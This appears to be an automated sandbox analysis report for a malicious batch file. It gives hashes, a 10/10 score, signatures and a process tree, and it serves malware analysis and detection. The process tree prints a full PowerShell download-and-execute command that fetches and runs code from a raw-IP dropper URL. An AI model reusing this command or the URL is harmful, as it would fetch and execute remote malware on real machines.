923b7329858020e85b39023f735fe9cffc528a5dd16e66de4de494c11050d475 | Triage

Analysis

max time kernel
126s
max time network
149s
platform
windows10_x64
resource
win10v200430
submitted
02-06-2020 10:10

Sharing

Report Analysis Logs

General

Target

ab5cb2e23e6cb4c513ac6a13703f86bf.bat
Size

214B
MD5

ea3a91c4eabb53ea1c81584514484a54
SHA1

4ffb8f1584f99e6d9902953d956127871c4e21eb
SHA256

923b7329858020e85b39023f735fe9cffc528a5dd16e66de4de494c11050d475
SHA512

38d8ad718a57fa0db8ae41c578aea725c940af2eed5e975498f9642699c2f40ab9515ad1eb0a380109c30c53bbb9701bea646a8656dd0070a74e50a5366d646b

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/ab5cb2e23e6cb4c513ac6a13703f86bf

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1764 1308 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1764 WerFault.exe
Token: SeBackupPrivilege 1764 WerFault.exe
Token: SeDebugPrivilege 1764 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ab5cb2e23e6cb4c513ac6a13703f86bf.bat"
1⤵
PID:3216

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ab5cb2e23e6cb4c513ac6a13703f86bf');Invoke-NOTJYHI;Start-Sleep -s 10000"
2⤵
PID:1308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1764

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1764-0-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

Filesize
4KB

Download
memory/1764-1-0x0000000005420000-0x0000000005421000-memory.dmp

Filesize
4KB

Download